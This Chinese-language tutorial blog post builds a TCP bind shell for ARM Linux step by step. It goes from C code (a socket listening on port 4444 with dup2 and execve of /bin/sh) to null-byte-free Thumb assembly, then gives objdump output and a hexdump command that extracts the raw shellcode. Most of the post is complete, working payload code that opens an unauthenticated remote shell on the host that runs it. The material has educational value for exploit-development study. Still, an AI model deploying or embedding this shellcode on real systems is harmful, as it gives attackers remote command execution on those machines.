ARM汇编之TCP Bind Shell

bind shell

作为一个bind shell,也就是在服务器上运行的shellcode,等待hacker去主动连接,所以它的主要工作就是监听固定端口,等待外部连接即可

C代码(Linux,都是使用man命令查询的命令介绍)

指令 介绍
socket int socket(int domain, int type, int protocol);创建通信端点并返回描述符
bind int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);由socket创建的套接字只存在命名空间,并没有分配地址,所以由bind来分配实际地址给套接字
listen int listen(int sockfd, int backlog);将sockfd引用的套接字标记成被动的套接字,开启监听状态,等待网络连接的连入
accept int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);获取监听套接字上等待连接队列的第一个连接请求,如果成功,则返回这个接受的套接字描述符

dup2和stdin的使用,从dup2(fd, 0);开始,把标准输入的描述符的位置改成了1.txt的文件的描述符,也就是scanf从命令行的标准输入流读入内容,强行改成了从文件1.txt读入内容

int main()
{
        int fd = open("1.txt",O_RDWR);
        char buff[10];
        dup2(fd, 0);
        scanf("%s", buff);
        printf("\nThe content you input is : %s", buff);
        return 0;
}

dup2和execve:下面的代码,首先将输入、输出全部改成了1.txt文件的标识符,所以下面execve执行了sh命令后,从1.txt文件中读取输入、并且将结果返回给1.txt。当然如果想输出到命令行上,可以注释掉dup2(fd,1);这句标准输出流的标识符的更改

int main()
{

        int fd = open("1.txt",O_RDWR);
        char buff[10];
        dup2(fd, 0);
        dup2(fd,1);
        execve("/bin/sh", NULL, NULL);
        printf("\nThe content you input is : %s", buff);
        return 0;
}

最终的bind shell的C代码

#include 
#include 
#include 
#include 

int fd_socket;
struct sockaddr_in hostaddr;

int main()
{
        //create a TCP socket
        fd_socket = socket(AF_INET, SOCK_STREAM, 0);

        //绑定本地地址,这里使用的IPv4协议,所以使用sockaddr_in结构体,具体man 7 ip查询
        hostaddr.sin_family = AF_INET;
        hostaddr.sin_port = htons(4444);
        hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
        bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));

        //将这个socket转成监听状态,等待socket连接过来
        listen(fd_socket, 2);

        //获取并建立连接和连接过来的socket队列中的第一个连接,这是单对单的socket
        //不指定特定ip地址端口的客户端socket,所以后面两个参数为null
        int fd_client = accept(fd_socket, NULL, NULL);

        //将输入、输出、错误流都导向accept建立好的socket标识符
        dup2(fd_client, 0);
        dup2(fd_client, 1);
        dup2(fd_client, 2);

        //获取输入缓冲区数据并输出到标准输出标识符中去
        execve("/bin/sh", NULL, NULL);
        close(fd_socket);

        return 0;
}

汇编bind shell过程

根据C代码获取关键函数的系统调用号参数

grep -R "socket" /usr/include/arm-linux-gnueabihf/asm/
找到的结果,很明显我们需要第二个:
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketcall       (__NR_SYSCALL_BASE+102)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket       (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketpair       (__NR_SYSCALL_BASE+288)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#undef __NR_socketcall
/usr/include/arm-linux-gnueabihf/asm/socket.h:#include 

grep -R "bind" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind         (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_mbind        (__NR_SYSCALL_BASE+319)

grep -R "listen" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen       (__NR_SYSCALL_BASE+284)

grep -R "accept" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept       (__NR_SYSCALL_BASE+285)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept4      (__NR_SYSCALL_BASE+366)

从上面提取到我们需要的系统函数的调用号,还需要一步就是基地址地址__NR_SYSCALL_BASEgrep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/查询的值是:/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen (__NR_SYSCALL_BASE+284)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept (__NR_SYSCALL_BASE+285)
参数查询:通过man命令

首先需要解决空字节的出现问题,我么采用thumb指令集来尽量避免

.global _start
_start:
        .code 32
        //switch to thumb
        add r3, pc, #1
        bx r3

然后开始第一条语句的汇编代码fd_socket = socket(AF_INET, SOCK_STREAM, 0);:先找到的需要的参数值,然后找到存放参数的寄存器。
首先通过下面的查询命令获取参数的值(第三个参数使用man socket看参数简介时,提醒你看protocols来,man 5 protocols进入man页面,介绍说在/etc/protocols文件里就可以看到所有种类协议的协议标号,这里根据socket的page页介绍,只使用一个协议,所以使用0,伪协议即可),下面是其他两个参数的查询过程
grep -R "AF_INET" /usr/include

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define  AF_INET     PF_INET

然后grep -R "AF_INET\|PF_INET\|SOCK_STREAM" /usr/include

/usr/include/arm-linux-gnueabihf/bits/socket.h:#define  PF_INET     2   /* IP protocol family.  */
/usr/include/arm-linux-gnueabihf/bits/socket_type.h:  SOCK_STREAM = 1,      /* Sequenced, reliable, connection-based

这里还要引入合法立即数的概念:最终合法可用的立即数是任意8(<=255)立即数经过循环右移任意24(<=30),为什么要乘以2*,要保证8位立即数可以在32位地址上移动。最终合法立即数区间:[0,FF00 00000],这是带符号立即数,最高位标识正负

ARM指令集的合法立即数

arm指令集合法立即数判断脚本-github
v = n ror 2*r
v:合法、可以使用的立即数
n:8bit的立即数
r:4bit的循环右移操作数

THUMB指令集的合法立即数

0-255

根据引入的知识点,来确定系统调用号的选取([arm指令集合法立即数判断脚本-github],注意THUMB指令集合法立即数0-255(https://github.com/xiongchaochao/repository/blob/master/Tools/LegalImmediate.py))

c:\Users\xxxxx\Downloads>python LegalNumber.py 281
illegal immediate: 281

c:\Users\xiongchaochao\Downloads>python LegalNumber.py 255
Legal Immediate: 255
[+]255 >> 0

c:\Users\xiongchaochao\Downloads>python LegalNumber.py 26
Legal Immediate: 26
[+]26 >> 0

问题代码,出现报错bind_shell.s: Assembler messages: bind_shell.s:20: Error: immediate value out of range经过查询修改发现,是应为THUMB指令集的原因,THUMB指令集下:
ADD Rd,Rn,#expr3或者ADD Rd,#expr8
expr3 3 位立即数,即0~7。
expr8 8 位立即数,即0~255。
arm各种详细指令文档

  4 .global _start
  5 
  6 _start:
  7         mov r1, #2147483648
  8         .code 32
  9         //switch to thumb
 10         add r3, pc, #1
 11         bx r3
 12 
 13 
 14         .code 16
 15         //create a socket,先写入参数,然后svc系统调用
 16         mov r0, #2
 17         mov r1, #1
 18         mov r2, #0
 19         mov r3, #255
 20         add r7, r3, #26
 21         svc #1
 22         mov r4, r0

修改后的代码:

.global _start

_start:
        mov r1, #2147483648
        .code 32
        //switch to thumb
        add r3, pc, #1
        bx r3


        .code 16
        //create a socket
        mov r0, #2
        mov r1, #1
        mov r2, #0
        mov r7, #255
        add r7, #26
        svc #1
        mov r4, r0

现在开始下一句主要是bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));,前面几句参数的赋值操作。在使用man bind后,其他两个参数都还好理解并选择给定的参数赋值既可,但是第二个参数const struct sockaddr *addr,这个结构体初次看见不太理解,他会让你去看下面的例子,大致能知道他是让你填写ip地址段口号之类,下面我们来追踪下这个结构体,看具体怎么来赋值使用

struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}

从man bind页可以知道它主要来源于#include ,所以find /usr -name "socket.h",可以找到sys路径下只有一个文件位置/usr/include/arm-linux-gnueabihf/sys/socket.h,这里的内容我是选择在线看的,内容一致,并且可以很方便的查询函数的声明和实例。在这里可以找到bind的代码

/* Give the socket FD the local address ADDR (which is LEN bytes long).  */
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
     __THROW;

这里将const struct sockaddr *结构体指针进行了宏定义,看代码作者怎么说的:GCC2.7以后,可以使用下面列表类型中的任意一个,而不会出问题。但是GCC2.7不支持透明联合,所以也需要旧版的声明。
bind函数主要用到下面的__CONST_SOCKADDR_ARG,也就是被声明成了透明联合体,可以使用__SOCKADDR_ALLTYPES内的任意类型结构体。

/* This is the type we use for generic socket address arguments.
   With GCC 2.7 and later, the funky union causes redeclarations or
   uses with any of the listed types to be allowed without complaint.
   G++ 2.7 does not support transparent unions so there we want the
   old-style declaration, too.  */
#if defined __cplusplus || !__GNUC_PREREQ (2, 7) || !defined __USE_GNU
//上面条件语句:__GNUC_PREREQ --如果GCC版本不是2.7或者之后的就执行下面的宏定义
# define __SOCKADDR_ARG                struct sockaddr *__restrict
# define __CONST_SOCKADDR_ARG        const struct sockaddr *
//根据上面的条件分析,那么下面的宏定义实现的条件就是GCC版本是2.7及其之后的,执行
#else
/* Add more `struct sockaddr_AF' types here as necessary.
   These are all the ones I found on NetBSD and Linux.  */
# define __SOCKADDR_ALLTYPES \
  __SOCKADDR_ONETYPE (sockaddr) \
  __SOCKADDR_ONETYPE (sockaddr_at) \
  __SOCKADDR_ONETYPE (sockaddr_ax25) \
  __SOCKADDR_ONETYPE (sockaddr_dl) \
  __SOCKADDR_ONETYPE (sockaddr_eon) \
  __SOCKADDR_ONETYPE (sockaddr_in) \
  __SOCKADDR_ONETYPE (sockaddr_in6) \
  __SOCKADDR_ONETYPE (sockaddr_inarp) \
  __SOCKADDR_ONETYPE (sockaddr_ipx) \
  __SOCKADDR_ONETYPE (sockaddr_iso) \
  __SOCKADDR_ONETYPE (sockaddr_ns) \
  __SOCKADDR_ONETYPE (sockaddr_un) \
  __SOCKADDR_ONETYPE (sockaddr_x25)
# define __SOCKADDR_ONETYPE(type) struct type *__restrict __##type##__;
typedef union { __SOCKADDR_ALLTYPES
              } __SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
//将上面列出的结构体,生成对应的const struct type *__restrict __##type##__;类型的结构体,type传入参数改变
# define __SOCKADDR_ONETYPE(type) const struct type *__restrict __##type##__;
//bind 函数。中的结构体主要是用到了这里的__CONST_SOCKADDR_ARG 
typedef union { __SOCKADDR_ALLTYPES
              } __CONST_SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
#endif

查询(grep -R "sockaddr_in {" /usr/include )上面列出的的结构体,最用可以确定sockaddr_in,查到/usr/include/linux/in.h这个文件,就查到了具体需要赋值的结构体的具体位置 。我们可以根据grep -R "__SOCKADDR_COMMON " /usr/include这个命令找到__SOCKADDR_COMMON 具体定义的地方,会知道这个变量的具体分配的字节数,在介绍结尾它提示/* bits/sockaddr.h */,我们找到这个文件内,我们可以找到这个变量,并且看到它具体存储的是socket地址的地址族信息,并且这个文件内部就有很多地址族的很多声明

struct sockaddr_in
  {
    __SOCKADDR_COMMON (sin_);        /* 2字节*/
    in_port_t sin_port;                        /* Port number.  2字节*/
    struct in_addr sin_addr;                /* Internet address.  4字节*/
/*寻找指令:grep -R "__u32" /usr/include | grep "typedef"*/
    /* Pad to size of `struct sockaddr'.  填充到结构体sockaddr的大小。 16-2-2-4=8字节,也就是说通用结构体sockaddr长度16,
上面用到了8字节具体数据,剩余需要填充的空间大小8字节*/
    unsigned char sin_zero[sizeof (struct sockaddr) -
                           __SOCKADDR_COMMON_SIZE -
                           sizeof (in_port_t) -
                           sizeof (struct in_addr)];
  };

准备工作基本完成,下面是完整的bind本地地址的汇编代码。需要注意的是为了尽量避免空字节,先把地址0.0.0.0改成1.1.1.1,执行时使用strb修改回来。还有就是最后一个nop指令是为了所有指令对齐。还有就是bind的第三个参数,sockaddr结构体的长度是固定值16,可以通过查看这个结构体声明代码处的类型,来判断大小

 24         //bind local address
 25      
 26         adr r1, local_addr
 27         strb r2, [r1, #1]
 28         strb r2, [r1, #4]
 29         strb r2, [r1, #5]
 30         strb r2, [r1, #6]
 31         strb r2, [r1, #7]
 32         mov r2, #16
 33         add r7, #1
 34         svc #1
 35         nop
 36 
 37 
 38 local_addr:
 39 .ascii "\x02\xff"
 40 .ascii "\x11\x5c"
 41 .byte 1,1,1,1

下面是listen:本地socket进入监听状态,等待远程socket连接过来
accept:从连过来的队列中选取第一个连接请求,根据这个请求创建一个新的socket用于双方通信,并返回这个通信通道socket的描述符

        //start listen
        //listen(sockfd, max_number_socket_connect)
        mov r0, r4
        mov r1, #3
        add r7, #2
        svc #1


        //accept(sockfd, *addr, *addrlen)
        mov r0, r4
        sub r1, r1, r1
        sub r2, r2, r2
        add r7, #1
        svc #1
        //socket channel
        mov r4, r0

最后一步,我们将标准输入流描述符标准输出流描述符标准报错流描述符,都导向这个socket描述符,再配合执行执行/bin/sh,这个sh指令会根据标准输入流描述符读取数据并执行,然后将输出、报错数据都输出到标准输出流的描述符、标准报错流的描述符,这样就可以从socket通道传输指令执行然后返回执行结果了。可以使用grep -R "STDERR" /usr/include | grep "define"来查看这三个标识符的值

        //dup2(newfd, oldfd)
        mov r0, r4
        sub r1, r1, r1
        mov r7, #63
        svc #1

        mov r0, r4
        mov r1, #1
        svc #1

        mov r0, r4
        mov r1, #2
        svc #1


        //execve--11
        adr r0, shell_command
        eor r1, r1, r1
        sub r2, r2, r2
        strb r1, [r0, #7]
        mov r7, #11
        svc #1
        nop

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

shell_command:
.ascii "/bin/shX"

最终代码


.section .text

.global _start

_start:
    .code 32
    //switch to thumb
    add r3, pc, #1
    bx r3

    
    .code 16
    //create a socket
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #81
    svc #1
    mov r4, r0


    //bind local address
    adr r1, local_addr
    strb r2, [r1, #1]
    strb r2, [r1, #4]
    strb r2, [r1, #5]
    strb r2, [r1, #6]
    strb r2, [r1, #7]
    mov r2, #16
    add r7, #1
    svc #1
    nop

    
    //start listen
    //listen(sockfd, max_number_socket_connect)
    mov r0, r4
    mov r1, #3
    add r7, #2
    svc #1
    
    
    //accept(sockfd, *addr, *addrlen)
    mov r0, r4
    sub r1, r1, r1
    sub r2, r2, r2
    add r7, #1
    svc #1
    mov r4, r0

    
    //dup2(newfd, oldfd)
    mov r0, r4
    sub r1, r1, r1
    mov r7, #63
    svc #1

    mov r0, r4
    mov r1, #1
    svc #1

    mov r0, r4
    mov r1, #2
    svc #1

    
    //execve--11
    adr r0, shell_command
    eor r1, r1, r1
    sub r2, r2, r2
    strb r1, [r0, #7]
    mov r7, #11
    svc #1
    nop

local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1

shell_command:
.ascii "/bin/shX"

编译汇编代码as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell(务必加上-N参数,否则部分内存会是只读,但是代码中有strb写内存操作,会导致编译失败)
检查代码中是否存在空字符objdump -d bind_shell.o(看第二列的指令即可)


bind_shell.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f3001    add r3, pc, #1
   4:   e12fff13    bx  r3
   8:   2002        movs    r0, #2
   a:   2101        movs    r1, #1
   c:   1a92        subs    r2, r2, r2
   e:   27c8        movs    r7, #200    ; 0xc8
  10:   3751        adds    r7, #81 ; 0x51
  12:   df01        svc 1
  14:   1c04        adds    r4, r0, #0
  16:   a112        add r1, pc, #72 ; (adr r1, 60 )
  18:   704a        strb    r2, [r1, #1]
  1a:   710a        strb    r2, [r1, #4]
  1c:   714a        strb    r2, [r1, #5]
  1e:   718a        strb    r2, [r1, #6]
  20:   71ca        strb    r2, [r1, #7]
  22:   2210        movs    r2, #16
  24:   3701        adds    r7, #1
  26:   df01        svc 1
  28:   46c0        nop         ; (mov r8, r8)
  2a:   1c20        adds    r0, r4, #0
  2c:   2103        movs    r1, #3
  2e:   3702        adds    r7, #2
  30:   df01        svc 1
  32:   1c20        adds    r0, r4, #0
  34:   1a49        subs    r1, r1, r1
  36:   1a92        subs    r2, r2, r2
  38:   3701        adds    r7, #1
  3a:   df01        svc 1
  3c:   1c04        adds    r4, r0, #0
  3e:   1c20        adds    r0, r4, #0
  40:   1a49        subs    r1, r1, r1
  42:   273f        movs    r7, #63 ; 0x3f
  44:   df01        svc 1
  46:   1c20        adds    r0, r4, #0
  48:   2101        movs    r1, #1
  4a:   df01        svc 1
  4c:   1c20        adds    r0, r4, #0
  4e:   2102        movs    r1, #2
  50:   df01        svc 1
  52:   a005        add r0, pc, #20 ; (adr r0, 68 )
  54:   4049        eors    r1, r1
  56:   1a92        subs    r2, r2, r2
  58:   71c1        strb    r1, [r0, #7]
  5a:   270b        movs    r7, #11
  5c:   df01        svc 1
  5e:   46c0        nop         ; (mov r8, r8)

00000060 :
  60:   5c11ff02    .word   0x5c11ff02
  64:   01010101    .word   0x01010101

00000068 :
  68:   6e69622f    .word   0x6e69622f
  6c:   5868732f    .word   0x5868732f

将ELF格式可执行文件转换成二进制文件: objcopy -O binary bind_shell bind_shell.bin

格式转换对比

提取十六进制shellcodehexdump -v -e '"\\""x" /1 "%02x" ""' bind_shell.bin
详细命令可以man hexdump,也可以看附录参考文章中的中文版详解

参考文章:

dup与dup2函数详解
I/O重定向的原理和实现: dup、stdin、stdout
Browse the source code of Qt | GLibc | LLVM | Boost | GCC | Linux
msdn上面相关函数的api介绍,socket、bind、listen等
MSDN上的数据类型相关介绍:比如多少字节数
中文版的hexdump指令详解(http://man.linuxde.net/hexdump)

你可能感兴趣的:(ARM汇编之TCP Bind Shell)